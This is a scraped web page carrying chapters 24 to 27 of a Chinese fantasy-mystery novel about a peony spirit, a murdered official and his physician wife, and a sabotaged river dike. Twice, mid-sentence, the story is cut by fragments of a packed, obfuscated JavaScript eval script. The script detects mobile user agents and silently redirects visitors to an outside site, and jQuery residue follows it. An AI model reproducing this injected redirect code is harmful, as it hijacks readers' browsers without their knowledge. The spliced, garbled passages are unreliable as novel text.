牡丹花妖的酒一下就醒了! 这怎么可以?! 林慎之和她才是最配的! 她哭花了脸,问林慎之就不能换一个心上人吗? 24. 成亲 林慎之笑着摇摇头,特别温和地同牡丹花妖解释了前因后果。 原来林慎之早就有喜欢的人了,是洛邑家中前街伍氏医馆的小女儿。 花妖知道,是那个叫伍幔青的小娘子,长得根本就没有她好看!还整天穿着布衣粗裳,风风火火地上山采药,行事作风跟个男孩子一样粗鄙。 林慎之却一脸正色,告诉她,不能那样说,幔青是非常好的女孩子,医术好又善良,曾经好几次为了救治病人,不惜冒着危险夜间进山采药。 更重要的是,他们从小一起长大,林家最困难的时候,根本没钱让林慎之读书,他也一度放弃,所有人都劝他,赶紧找个活计帮家里赚钱要紧。 是伍幔青,一直鼓励他不要放弃自己的才学,将来一定会有用武之地,一定要坚持下去,而且她并不是嘴上说说,每天她都要额外上山费尽心思去找名贵药材,为的就是多卖点钱,一部分补贴家用,额外分出一点便给林慎之去读书。 身为郎中的伍父何尝不知道女儿私下用钱贴补林慎之,但他也有惜才之心,便任由女儿去了。 少年林慎之自觉受之有愧,便更加发奋地读书,希望有朝一日能够出人头地,报答伍幔青对他的好。 他不仅每日读满五个时辰,夜里还要兼帮人抄书、写书信赚钱。他的字飘逸俊美,很多人来找他。 伍幔青见他太累,经常假装随手送他一些医馆多余的补药、护手的膏药,但林慎之知道,这些都是她精心为他调配的。 可林父林母始终不支持他继续读书,家中也始终乱糟糟很吵闹,他迫不得已,更勤奋地赚钱,买下了那个破旧宅院,躲出去备考。 少女伍幔青就这样一直默默无闻地坚定陪伴、支持林慎之,从不求回报。 林慎之看在眼里,感激在心里,慢慢地她就变成了他心尖尖上的人。 见他在书院读书的成绩越来越好,考试屡屡夺魁,他父母也便由他去考科举,只是告诉他,伍幔青太过粗鄙,根本配不上他。 等他中榜,可以去都城桓安找到更好的女子。他们打听过,传说朝中高官喜欢榜下捉婿,以他的相貌和才学,很容易就会被选中,到时候找个贵女,平步青云,他可以有更好的人生,家里也跟着沾光。 林慎之听到这些,第一次对着父母发怒,摔门而去。 以往父母如何阻拦不让他读书,他虽然生气,但也就只是忍着,但伍幔青,他不容许任何人诋毁。 她怎么会粗鄙,怎么会配不上他? 她医术精湛,救人无数,要不是为了他,她会有更多的时间钻研医术,而不是瞒着他一个人偷偷去充满危险的山林之中,替他寻药赚钱,受伤也不说,还假装没事人一样跟他嬉皮笑脸。 要不是他问了好多人,根本不知道书院闭关读书期间,她上山给他找药遇见了野猪,差点出事,头脸手脚全是伤,还骗他说是没睡醒不小心被门槛绊了一跤。 他这么努力的读书,就是生怕配不上她对他的好! 他根本不理父母的说辞,一心只想赶紧高中,回来迎娶伍幔青。 但还真让他父母说中了,时下桓安流行榜下捉婿,一个朝中官员看中了他,愿意在仕途上为他助力,条件是迎娶他的女儿,成为赘婿。 林慎之想也没想便拒绝了,这个高官很是生气,觉得他不识好歹,拂袖而去。 而且不止这一个官员,很多见过他的官员都有让他入赘的心,他一一拒绝。 当时他很天真,以为拒绝便没事了,但官场人际复杂,各种关系盘根错节,所谓仕途,并不是只靠出众的成绩和才学便可一路上青云。 林慎之的强硬态度得罪了很多官员,官位有高低,但态度却一致,他们一个个都明里暗里告诉过林慎之,他这个样子,就算高中状元,也没有办法在京中担任要职。 “太过分了!怎么可以这样欺负人!” 花妖听到这里,从开始羡慕嫉妒伍幔青,已经变成了对高官给林慎之穿小鞋的愤怒。 林慎之对这个结果,愤懑又无奈,但为了伍幔青,他不能妥协。 他不相信,如果不站队,他就不能干干净净地凭借自己所学,做一个为百姓谋福祉的好官! 花妖整日听他背书,文章里那些“君子有所为有所不为”的大道理她听得云里雾里,但她觉得,林慎之做的这些,应该就是一个君子该做的! 她支持他! 就算林慎之不喜欢她,她还是愿意相信,以林慎之的能力,总有一天会变成百姓心中的大英雄! 她要等着这一天! 结果就像那些官员所说,林慎之的科举成绩拔尖,却被发配到荔南府富州城担任一个底层水利官,俸禄微薄。 花妖的整个妖生头一次产生了想要杀人的心思,林慎之却安抚她,让她不要为了自己,损坏修为。 天将降大任于斯人也,或许这就是他命中该承受的。 花妖能怎么办,她也不是真的想害人,既然林郎说了,那只好对这些官员略施小惩,让他们上朝在圣人面前摔个跟头,睡觉滚下床,以此泄愤。 但她还是很嫉妒伍幔青,天天跟着伍幔青,发誓要把她不好的一面揭露给林慎之,让他死心。 但这伍幔青天天不是看病就是采药,着实无聊,也寻不着什么错处。 一天,暴雨倾盆,伍氏医馆里来了个病人,急需一味药材续命,但此时药柜中已经没有了。 伍幔青当机立断要上山去,所有人都在阻拦,说暴雨进山可能出危险,连病人家属都已认命,但伍幔青还是披着蓑衣冲进了雨里。 “蠢材!”花妖悄悄跟了上去。 暴雨倾盆,黑云压顶,别说挖药材,山里黑漆漆一片都变得十分恐怖,但伍幔青也不知道是哪来的胆子,愣是深一脚浅一脚地爬到了峭壁边上。 天上劈下一道闪电,照亮了整个山谷。伍幔青就借着闪电的光,看清了那株救命草所在的位置。 那是悬崖下方五尺左右,人根本没办法伸手够到,伍幔青掏出绳子,捆住腰,另一端捆在树上,冒着疾风骤雨,手脚麻利地猱身下探。 好巧不巧,忽起一阵狂风,花妖甚至觉得很久没见到这么大的妖风,不知道哪位神仙在历劫,吹的她神魂涣散,悬崖边所有的砂石树木都连根拔起,饶是伍幔青选的那棵非常结实的粗干大树,也没能幸免。 伍幔青采药经验丰富,哪怕在这种暴雨天也几乎没有多余的动作,迅速下探、割草、收入囊中、翻身上去,却未曾想树干居然片刻之间就被吹倒。 “蠢材!”花妖见伍幔青本想借力攀爬,但树干顷刻间断裂,使她整个人一下失去支点,向下坠落,她鼓着腮帮子,手指轻轻向上一托。 伍幔青感到无形中似乎有人在空中托举了自己一把,她瞬间抓到了悬崖上的藤蔓,借着藤蔓爬了上来。 悬崖之上,电闪雷鸣,伍幔青惊魂甫定,朝四周看看。 一片狼藉,没有人,但自己肯定不是出现了幻觉,于是只好向四周的虚空都拜了一拜:“多谢相助!” 花妖瘪瘪嘴,跟着她下山,将病人救活。 病人和家属千恩万谢,伍幔青却说:“是你命不该绝,连山中神仙都在帮你们找药,虽然没能见到这位神仙真身,但想必一定是人美心善,修为圆满,才有怜悯世人之心。” 花妖在角落里听着,随之满意点头,突然惊觉自己嘴角上翘,赶紧恢复高冷。 *** 后来,林慎之接到任职书,很快便回到洛邑老家准备就任事宜,花妖也一起跟着。 任职前,还有一件重要的事——他林慎之要明媒正娶伍幔青。 家中父母知道他为了迎娶伍幔青,曾经拒绝了各路高官抛来的橄榄枝,气得连二人成亲当日都没有出席,表示不认这个儿媳妇。 花妖气得暴跳如雷,但没关系,现在林郎和伍娘子由她来守护! 成亲当日,少了男方的父母,但漫天纷纷扬扬的牡丹花瓣雨和馥郁香气一路随行,路人纷纷感叹,林慎之和伍幔青这才真正是天作之合。 伍娘子也觉得好神奇,林慎之却笑着对她说,这是他一位熟识了很久的知心好友,特意为他们夫妻二人准备的惊喜。 深夜,二人对着满园牡丹鞠躬行大礼,牡丹花妖受了二人的敬酒,边哭边笑,心想,才子佳人的传奇话本,就该是这样的! 成亲翌日,伍幔青安排药铺的小童定期过来养护牡丹,安顿好家中一切,二人就要启程去富州赴任。 林家父母依旧没有来相送,但林慎之不在乎,他和伍幔青一起收拾行囊,踏上了去富州的旅程,他们二人坚信,凭借自己的努力,会过上好日子。 林慎之到了富州都督府报到,天高圣人远,这里的官场风气就更乌烟瘴气。 但他一直恪守本心,兢兢业业地做事,他要修建一座坚固的堤坝,让百姓免于水患。 伍幔青则继续看病医人,逐渐也打出了自己的口碑。
35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14932265|160662||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > 几年下来,两人虽然清贫了一些,艰难了一些,但相濡以沫,日子总是越来越好的。 可就在前不久,自从三皇子煜王来荔南府视察,勒令富州都督府加固堤坝之后,林慎之每日回家越来越晚,脸色越来越差。 一开始,花妖和伍幔青都不知道发生了什么,后来有一天,花妖半夜无聊在街上游荡的时候,发现林慎之满身是血地躺在那里,花妖吓坏了,赶紧一边输真气给他,一边把他搬回去给伍幔青医治! 林慎之中了刀,正中心口要害处,十分虚弱地说,是因为自己不同意都督冯大人收受贿赂,要在加固堤坝时偷工减料,他三番四次拒绝,本以为也就是从此坐冷板凳而已,没想到,冯大人竟然胆大到派人杀他! 花妖气炸了,当即就要去找那个冯大人算账,被林慎之和伍幔青拦住,说不要为了他杀人,损了修为。 但是怎么办啊,又不能报官,那个该死的冯鹤延就是富州最大的官! 花妖急得团团转,林慎之一直血流不止,她输了许多真气给林慎之,才勉强让伍幔青为他拔刀之后,他没有失血过多而死。 伍幔青为林慎之包扎止血,又将父亲给她的救命药为林慎之服下,这才把他强行从鬼门关给拉回来。 但救命药只有一颗,伍幔青急急忙忙上山去采药,不慎又扭到了之前脚受伤的位置,钻心的痛,但忙活了一通,救命药还没有长到成熟可发挥药效的时候,而普通的药材根本就治不了林慎之那么重的伤。 迫不得已,伍幔青只好变卖家财,重金求一味珍贵的救命药材。却引来了本地最大粮商陈富仲的儿子——陈怀思的注意。 原来陈怀思也是个色迷心窍的家伙,早就打上了伍幔青的主意。 虽然牡丹花妖说伍幔青像假小子,但也只是说她性格爽朗,现在她一副人.妻打扮,温柔了许多,姣好的容貌也十分惹人注目,就招来了陈怀思这个狂蜂浪蝶。 只是碍于林慎之为官正直,伍幔青又医术了得,夫妻二人在坊间口碑太好,以至于陈怀思不敢轻易下手。 这次时机到了,不好好把握,就对不起他陈大公子浪.荡在外的名号。 他表示愿意重金买下伍幔青所有变卖的家财,却十分无.耻地表示,还有一个追加条件,就是伍幔青与林慎之和离之后,卖身于他。 伍幔青羞愤难当,但为了林慎之,她表示需要考虑一下,第二天再答复他。 陈怀思答应了,得意离开,他就不信得不到她! 林慎之那个不知变通的古板书呆有什么好,整天梗着脖子就知道满口仁义道德,穷得要死,如何能跟他这个本地最大粮商之子相提并论! 第二天,陈怀思依约找上门,却见伍幔青一反昨日的态度,对他处处依顺,他简直要被小娘子满身的花香迷昏了头,浑浑噩噩就把珍贵的救命药材给了她,甚至也没有收她的钱财房契,就离开了。 原来,是牡丹花妖幻化成了伍幔青的样子,和陈怀思周旋。 结果,陈怀思回家之后便晕倒了,因为他身体不好,从小患有绝症,也就是因为这个绝症,陈富仲从小就纵容儿子,让他养成了骄纵奢靡的性格,吃喝嫖赌样样精通,没少欺负百姓。 陈怀思的绝症一时半会儿死不了,平时靠吃药吊命控制得好,跟没事人一样,但沾染了牡丹花妖的妖气之后,承受不住,因此晕倒。 他父亲陈富仲急忙找了各种名医来治,都没有效果,最后,一个突然出现在他家门口的游方道士一语道破天机——你儿子遇到了妖怪。 陈富仲连忙重金聘请游方道士帮忙捉妖,道士就施法让陈怀思清醒过来。 陈怀思哪里吃过这种亏,恨得牙痒痒,发誓要报复这个妖怪,问道士有没有方法。 道士微微一笑,说不仅有方法,这个妖怪的内丹还能救治你的绝症。 陈氏父子一听,这还等什么!赶紧去抓妖怪啊! 他们给了道士一.大笔钱,让道士教他们如何斩杀妖怪。 而后,陈怀思又到林宅疯狂敲门,顺便敲锣打鼓地造势,说要去告官,伍幔青不履行诺言,骗钱骗药,人品败坏。 此刻,伍幔青熬药一.夜未睡,照顾林慎之吃了药刚要休息,花妖听见外面这么吵闹,十分生气,又化作伍幔青的样子和他周旋。 结果没想到,大门一开,迎面三道金光袭来,她躲闪不及,便觉体内有三个钩子扣住她的内丹,往外撕扯! 有人要夺她的内丹! 25. 犀香问尸 这一惊非同小可,牡丹花妖成精之后向来与人为善,就算遇见负心男子,也不过就是吸吸.精气,从不害人性命,此刻,才终于明白人心的奸诈狡猾。 内丹被撕扯的疼痛更让她愤怒至极,她从伍幔青的样子变回自己的本来面目,同时怒气也让她爆发了极强的力量,冒着内丹被夺的风险,也要杀了陈怀思。 她铆足劲力的一击,陈怀思根本受不了,当场毙命! 而牡丹花妖元气也损耗了大半,但终于是保住了内丹,没有当场灰飞烟灭。 这里是断不能再待下去了,她十分清楚,陈怀思是不可能有这个手段的,只能是什么高人来了,她必须出去躲一躲,便向富州城附近的深山逃去。 后来的事情,就是她吸人精气恢复内伤时,遇见霍彦先和阿婵的那一晚。 阿婵和她缔结契约,让她不要到处游荡吸人精气,找个僻静之处修养,她担心林慎之和伍幔青,便大着胆子回到了林宅。 只是没有想到,林宅悄无声息,牡丹花妖以为伍幔青被抓了,当时她为了保住内丹差点殒命,也顾不上那么多,现在想想,觉得自己化成伍幔青的样子,肯定给她找了不少麻烦,也许真的被告了官,关进了牢里。 但她在林宅四处看了一圈,却在后院发现了浓重的血腥味,她内心霎时间有不详的预感,赶紧出门打探一圈,却发现这段她在深山避难的日子里,林慎之和伍幔青竟然溺水身亡了! 这不可能,家里这么浓重的血腥味,怎么会是溺水身亡呢? 她跑到江边去问江伥,江伥却无奈地告诉她,是真的,他二人的尸体就在堤坝之下,浮不上去,不知道为什么。 牡丹花妖崩溃了。 她不能相信,林慎之天天跟她说好人会有好报,伍幔青也总是跟她讲要多多积德行善。最后这两个绝世大好人,就换来这样的结局?! 天道公平吗?! 到这里,就是阿婵召唤牡丹花妖之前,她的全部经历。 花妖讲到这里,又开始绝望大哭: “我刚刚就是从江边回来的,就连江伥都没办法把他二人的尸体弄出来!怎么办啊!不能就让他们死得这么不明不白!我要给他们报仇!” 听完花妖的话,霍彦先和阿婵沉默对视,二人都明白对方所想。 牡丹花妖应该是在霍彦先将谭胥生、冯鹤延、陈富仲还有假江伥等人带走的时候,才从林宅赶到江边,所以大家错过了。 目前的情况,应该就是陈怀思被牡丹花妖反杀后,陈富仲为了让儿子活过来,想要利用水患制造足够多的生魂用以祭祀还魂。 而林慎之和伍幔青,就是陈富仲让儿子复活的第一个牺牲品,连续四起溺亡案,因为生魂不够多,所以陈怀思没能起死回生。 同时,也是陈富仲为了让谭胥生相信他有足够的能力制造水患的样本。 但即便是陈富仲不杀林慎之和伍幔青,冯鹤延也会和谭胥生设计将林伍二人杀死,将造成水患的罪责嫁祸给林慎之。 所以,林慎之和伍幔青面对的,从来就是双重死局。 但现在,最重要的就是将二人以及其他三起溺亡案的尸体找出来,弄清楚他们的死亡原因,以及堤坝损毁的原因,这样才可以最终定案。 霍彦先、阿婵带着花妖,一起去江边试图找到尸体。 此时又开始下雨,雨势很大,江水又变得湍急起来。 霍彦先先叫人下江去查看,荔南江深约百尺,据说尸体在堤坝没入水下二十多尺的地方,普通人潜不了那么深,而且下着雨也太危险。 阿婵让牡丹花妖找来江伥,问他有没有看到林慎之和伍幔青的尸体,从江伥描述的衣着判断,二人尸体确实在江中,他试过把尸体搬上来,但不知为何嵌在堤坝里就是弄不下来。 “看来只能试试‘犀香问尸’了。”阿婵皱眉说着,便要下水。 “那是什么?”霍彦先拉住她问道。 阿婵解释,所谓“犀香问尸”,是玄门与溺亡魂魄沟通的一种术法。 需要施法者在水下燃烧特制的“犀魂香”,进入入定状态,向亡魂提出问题,亡魂的回答会以不同的香烟形状表现出来。 霍彦先看着滚滚江水,拦住她,“必须要下水么?现在这样很危险。” 施法者在入定状态下确实很危险,但阿婵的师傅师兄弟都不在,没有人可以护她周全。 阿婵点点头,“现在没有别的办法了,这样最快。” “你们没有那种直接通灵的办法吗?” “我不是那种可以引魂上身的体质,没办法直接跟尸体对话,只能借助外力。” “那好,我陪你一起去。”霍彦先道。 “你?”阿婵睁大眼睛。 “不然你入定之后,谁来保护你,要找那个‘高人’吗?”霍彦先反问。 阿婵眼前浮现那个糟老头子,再看看霍彦先,在两者都是一点玄门方术不会的前提下,好像还是霍彦先更靠谱,虽然也有限。 霍彦先迎着阿婵充满质疑的目光,补充道:“我会水,内力比一般人好,可以闭气很久,在旁边照看你的安危。而且我也必须亲自看到尸体的样子。” 最后一句大概才是他的目的吧,阿婵想。 她只好同意,并告诉霍彦先如果出了危险,他要如何将她从入定状态唤醒,绝对不能大力打她或是摇晃她。 霍彦先觉得这最后一句嘱咐怪怪的,好像在质疑他的人品,但又找不到证据。 他们二人将水下沟通的手势商量好,在腰上栓了配重的石头,以及保证安全的绳索,让绣衣察事司的人乘船将他们送到堤坝脚下,二人顺利下潜到尸体所在之处。 此时阴雨,水下很幽暗,水流翻滚,二人光是接近堤坝就要克服很大的水流阻力。 但霍彦先和阿婵不敢耽搁,以最快的速度找到了林慎之和伍幔青的尸体,令人惊讶的是,他们的尸体在水下泡了这么久,一点未肿.胀变形,外貌还是栩栩如生。 这个位置……霍彦先皱眉,原来林伍二人尸体的位置竟然正是决堤裂缝处,难道是陈富仲请的那个游方道士用了什么法术将二人束缚在此? 他上前查看尸体,发现尸体确实是牢固地深嵌在堤坝之中,无论用多大的力气,都无法撼动分毫,他只得放弃,游回阿婵身边。 此时阿婵也做手势示意他原地踩水待好,自己则调整内息,头上脚下,直直地“站立”在水中。 她掏出三支“犀魂香”,霍彦先见她不知用什么引火工具,竟然在水下能够将香引燃。 三根犀魂香瞬间燃起细线,而且那香烟竟不受流水方向的影响,在水下笔直地朝着空中升腾而起,就像在寺庙无风的环境一般。 霍彦先从未见过水下燃香的景象,心中不由感叹神奇,而阿婵双眼闭合,举着三支香,也已经开启了入定状态,身体仍保持站立姿态。 霍彦先内心数着数,计算时间。 阿婵此刻虽闭目,却在一片黑暗中,清晰地看到了林慎之和伍幔青的尸体。 他们手臂向两侧张开,嵌在堤坝之中,嵌得很深。 而尸体前,有一个香炉,阿婵燃烧的三支“犀魂香”正插在其中。 对着二人的尸体,她提出了第一个问题: “林慎之,伍幔青,你们的死亡,是意外吗?” 等了半晌,香烟才在空中向两边散乱扩开,好像一个人在举着手指摇晃来摇晃去,说“不是”。 他们的死亡不是意外。 等待香烟恢复笔直向上的形状,阿婵提出第二个问题: “林慎之,伍幔青,害你们的是不是谭胥生、冯鹤延、陈富仲以 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14938939|160662||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 及陈怀思?” 同样等待半晌,香烟又在空中向两边散乱扩开。 “不是”? 阿婵皱眉,思索片刻,了然,补充问道: “害你们的还有一个游方道士?” 半晌,三柱笔直向上的香烟,又弯曲向下,仿佛一个人在点头,说“是”。 阿婵继续提出第三个问题: “你们的尸体是被困在这里的吗?” 半晌,三柱烟表示“不是”。 不是被困在这里的? 那就是有执念未完成,不愿上去。 可他们的执念到底是什么? 阿婵思索着如何继续下一个问题。 霍彦先掐算着时间,已经过了两刻钟,他闭气有极限,不知道阿婵还要问多久。 看她双目紧闭的样子,又怕她出什么事,霍彦先心下不禁有点着急。 忽然,一声隆隆的闷响传来,不像是雷声。 霍彦先猛地向堤坝望去,巨大的震动从堤坝内部传来,他感到什么东西在迅速土崩瓦解! 不是他们所处的上次决堤的裂隙处,而是在距离几十尺开外的另外一处。 决堤?! 又一次?! 脑海里刚闪过这个念头,他和阿婵瞬间就被混着泥土、碎石、草木的巨大水流直击门面! 霍彦先只能紧紧抱住阿婵,将她整个人完全藏在自己怀中,转过身生生去扛这猛烈异常的冲击力。 那一瞬,饶是霍彦先用全部内力护住了心脉,喉头也是一股腥甜,一口鲜血忍不住喷将出来。 但他根本顾不上,迅速将二人腰间配重的石头绳子割开,搂着阿婵,双脚用力踩着下沉的石头一蹬,借石头之力让两人迅速浮出水面。 可人力终究太过渺小,二人没有上浮多少,倒是被突如其来的漩涡卷入其中。 是洪水再次越过堤坝席卷而来! 漩涡拉扯着一切,他随着水流极速翻滚旋转,却还要极力控制自己,去唤醒入定状态下的阿婵。 他们约定好,如果遇到危险情况,霍彦先就在她的后背画一道“倒山符”,阿婵能够感知到情况有变,就会迅速摆脱入定状态。 阿婵正在苦思冥想如何继续和林慎之、伍幔青的尸体沟通,却见眼前的香烟呈现地动山摇的颤动状态,这是霍彦先在给她发讯号,叫她迅速清醒。 她立即遵守约定,毫不恋战,让自己清醒过来。 从霍彦先听到巨响,到阿婵醒来,二人完成这一切不过须臾之间。 阿婵睁眼的一刻,水下全是混沌,她发现自己在霍彦先怀中,头埋在他的胸口。 视线受阻,她双手从后面环抱住他的肩胛,往上挪动了一下。 越过霍彦先的肩头,她看到了非常可怖的场景—— 水下的堤坝砖石处竟然裂开了一道大口,仿佛狰狞的巨兽张口欲吞噬一切。 水流泥沙极速推着他们二人向后退去。 不时从四面八方快速袭来尖利的石块,阿婵赶紧伸手护住霍彦先的头颈处,她的手背却被碎石划伤。 带着阿婵极力挣.扎着往上浮游的霍彦先,感到怀中的人终于清醒有了动作,总算放下心来。 二人一起奋力凫水。 因为水流的冲击,他们现在已经离堤坝有一段距离,漩涡变小,平直的流水,继续带着他们奔流。 水下泥泞什么也看不清,但一阵白光忽地穿透了混沌的江水,在阿婵眼前绽开。 霍彦先背对着她,不知道发生了什么,只看到阿婵霎时间睁大了双眼。 越过霍彦先的肩头,阿婵看到—— 林慎之、伍幔青的尸体竟然缓缓移动了。 他们这是?! 阿婵看到,他们似乎在用自己的身体,去堵堤坝的裂口…… 26. 不是人埋的,而是鬼埋的 “快快快!用力拉!”江上大雨如注,此刻杨奉安已经急疯了。 他带着绣衣察事司的几个人一起,用船将霍彦先和阿婵送到堤坝决口处,助他们二人潜入水下之后,就一直在江面上待命。 雨势一直很大,水位眼看着上涨,迟迟不见水下霍彦先发来信号,他们等得也心焦。 及至听到巨响,他们乘坐的船也被再次决堤的水流冲走。 杨奉安不顾安危抓紧绳子,第一时间就想要将霍彦先和阿婵拉上来,但因为决堤的一刹那,水流的冲击力太大,差点连他也给拽到水下去,他用尽全身的力气死命不放手,双臂火辣辣地疼。 幸好整条船上的绣衣察事司司众足够默契,同时使出千斤坠的内力,连环抱住前面同伴的腰,才让杨奉安没被卷入水下漩涡。 此刻,水下。 霍彦先疑惑阿婵的震惊,她指指背后,示意他往后看。 他艰难扭头,随即看到阿婵所见的场景,林慎之和伍幔青正在用自己身体的力量去堵住堤坝。 两人的尸体,缓缓从原来决口处的缝隙里退出来,缝隙里面的土石已经被压得十分结实。 而新的决口处的裂缝,比上次要严重十倍! 只见林慎之、伍幔青的尸身伸出细长的手臂,似在召唤着什么。 二人迎着土崩瓦解的决口,迎着扑面而来的各种土石碎屑,迎着足以将他们吞噬撕碎的洪流,逆流而进。 他们尸身发出的白色光芒,将周身混杂的水中泥土、草树、碎石同时笼罩住,随着他们二人前进的方向,这些土石草树竟又归拢一处,将决堤处重新封堵上去! 不可思议! 霍彦先和阿婵看呆了,都忘记自己此刻还身处洪流之中被冲退,犹如浮萍一般无助。 但随着林慎之、伍幔青的封堵,水流渐渐平稳,水下情况也暂时不那么危急了。 随即,霍彦先和阿婵也感到系在身上的绳子正在紧紧将他们向上拉。应该是杨奉安他们也在全力营救。 此时江伥也终于一路劈波斩浪过来找到了他们,将他们二人精准地抛上了杨奉安他们待命的船。 而后,江伥却一秒都没有停留,就重新返回江中接着救其他被卷入江中的灾民,牡丹花妖也在帮忙。 霍彦先示意杨奉安他们一切安好,赶紧帮忙救人。 雨势依旧不小,江面上、岸上,到处都是受灾被卷入水中的人,以及跑来救人的民众。 灾难面前,没有人有时间犹豫和悲伤,只能面对现实,接受命运,做力所能及的事。 *** 大雨掩不住堤坝浓重的硫磺味,决口处是被炸开的! 很多参与救援的人,上一次决堤时也在,他们都纳闷,明明这一次决口处的缝隙比上次还严重,似乎是填了大量的炸药,怎么也这么快,水流就能恢复平静? 这次救援并没有持续多久就结束了,伤亡人数也并不大。 他们百思不得其解的原因,只有霍彦先和阿婵亲眼见到了。 阿婵终于明白,为什么林慎之和伍幔青的尸体迟迟浮不上去,不是被困,而是自愿。 这就是他们的执念。 煜王晁元肇得到消息,第一时间赶来主持这一次的水患救援,现场情况大致稳定后,便让绣衣察事司这几个人先送霍彦先和阿婵回去处理伤情。 所有人都回到都督府。 阿婵因被霍彦先护着,倒是没受重伤,只是双手有些轻微的碎石擦伤,路上就抹药处理过了。 她跟着过来,主要是霍彦先伤得比较重。 霍彦先为护住阿婵,肺腑被水流冲击,受了内伤,本来想找个房间悄悄吐血调息,但被杨奉安和阿婵揪回来,只能老老实实让他们轮流替他输送内力,尽快调养。 杨奉安的手臂严重拉伤,像个面条一样无力地垂着,就这样还张罗着想把霍彦先按在椅子上疗伤。 霍彦先摆摆手叫他别添乱,赶紧去治手臂。 这时绣衣察事司司众里内力最好的顾中易过来,给霍彦先输送内力疗伤。 杨奉安手伤了,但嘴没有,大声嚷嚷:“大人,你可得赶快养好,处理案情和灾情哪边都少不了你,自己调养太费时间了,咱们可没有时间让你浪费啊!” 阿婵目瞪口呆,问霍彦先:“知道你们绣衣察事司冷血无情,但有这么催着重伤的上司干活的吗?” 杨奉安点点头说:“没有办法,我们大人就喜欢干活,天生劳碌命。” 霍彦先气得直咳嗽,一记眼刀过去,杨奉安假装看不见。顾中易也说:“大人,集中精神。” 霍彦先:“……” 原来绣衣察事司平时都是这样交流的,阿婵在一边看着,总觉得霍彦先可能要多吐几次血,于是给了他一个空茶杯,让他吐血的话不要弄到地上。 “……”霍彦先扶额,觉得头好痛。 阿婵见状,掰着他的脑袋左看右看:“好像没什么事啊……” 霍彦先一下子愣住了,没想到阿婵竟然就这样大喇喇地靠近,她手上的药香萦绕在他的鼻尖,她的指腹冰冰凉凉地贴着他的太阳穴,霍彦先脑子有一瞬空白,就这样任由她查看。 嚯!在场的绣衣察事司司众眼睛都看直了,这位女高人果然是艺高人胆大,放眼整个司中谁敢去掰老虎头,关键是老虎居然没有发威! 杨奉安在心中默默给阿婵竖起了大拇指。 阿婵只关注伤口,发现霍彦先没事之后就把他的脑袋撇在一边,帮霍彦先处理其他伤口。 霍彦先背部、身侧的衣服到处都是破口,都是因流水冲击碎石带来的划伤。 要不是阿婵及时用手护住他的头颈,估计脑袋也要破洞。 阿婵替他清理这些碎石,但霍彦先坚持要自己上药,阿婵很奇怪地看着他:“你是眼睛长后面了还是手长后面了,后背也能够得着?上药自然有他们,你急什么?” 而后突然恍然大悟,笑道:“放心吧霍大人,我又不是花妖,不 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“好险,差点就削了脖子。”阿婵道。 霍彦先看她目不斜视,压根不正眼瞧他,就知道她这种异常举动,应该是基于发现了什么线索,于是压下火气,沉声问:“这铜钱可有什么特殊?” 阿婵并没回答,只是反问:“霍大人,能否等安全之后,去这次的决堤处查看一下,有没有这种铜钱?” 霍彦先示意一个绣衣监侯去办这事,他接过阿婵递来的铜钱仔细翻看,发现就是普通民间流通的铜钱,没有什么奇特之处,只是被火药熏黑了。 经过刚才的初步查探,这次决口处发现了大量的硫磺、硝石、木炭的混.合物,所以这次决堤,依旧是人为。 但有谁能在日夜巡防的官兵眼皮子底下把这么多火药运进来?还能在不破坏堤坝的前提下,将火药均匀掺进土层?下这么大雨还能顺利点火引爆? 要知道,为了防止有内鬼,绣衣察事司和煜王的人都乔装混进了巡防的官兵,如果是内部人员犯案,不可能不暴露。 *** 霍彦先他们继续调息修养,过了一会儿,那个绣衣监侯回来禀报,说决口边缘确实发现了大量这样的铜钱。 霍彦先皱眉问,“有多少?在哪儿发现的?” 绣衣监侯说:“目前收集到的就有一百多枚,还有人在继续挖,应该还有不少,都是均匀混杂在泥土层中的。 但属下查证过,无论是修建堤坝还是在加固的过程中,都没有大量埋入过这样的铜钱。” 阿婵问霍彦先,“霍大人,第一次的决口处可发现了这样的铜钱?” 霍彦先道:“未曾,只有大量虫子松土的痕迹。” 阿婵沉思片刻,说道:“我猜想,这不是人埋的,而是鬼埋的。” “鬼埋的?”听到这里,包括霍彦先在内的所有人脊背都细细爬上了一层寒意。 27. 买命 “是的,民间有一种法术叫做‘五鬼搬运法’,大人可曾听说过?”阿婵眼神中充满了厌恶。 “最常见的,就是役使鬼魂搬运财物,很多不法商人,会用这种方法,神不知鬼不觉地将别人家的财宝,搬到自己家中,以此来增加自己的资财。” 霍彦先听到这里,已经大概明白了:“你是说,陈富仲为了让他儿子起死回生,就制造水患。上次堤坝决口处的松土虫,和这次的火药铜钱,都是五鬼搬运来的?” 阿婵摇摇头,“并不都是。上一次制造决堤,应该是用五鬼搬运了松土虫,可能因为效果不够,陈富仲又让那个游方道士变本加厉,用了一种更加凶残的上古禁术——鬼役浑天法。” “‘鬼役浑天法’?你怎么知道?” “因为这一次炸毁堤坝,火药量巨大,难度更高,所需的鬼神之力也就更大。不是寻常的‘五鬼搬运法’所能承受的。” 她顿了一下,叹了口气:“我猜测,另外还有七具负责搬运的鬼魂,就在这江中。” “什么意思?还有七具尸体?!”霍彦先震惊。 他面色凝重,反复确认道:“你的意思是,陈富仲除了制造四起溺亡案以及水患外,还单独害了七条人命,专门为他搬运炸药铜钱捣毁堤坝?!” 阿婵点点头,表情十分严肃。 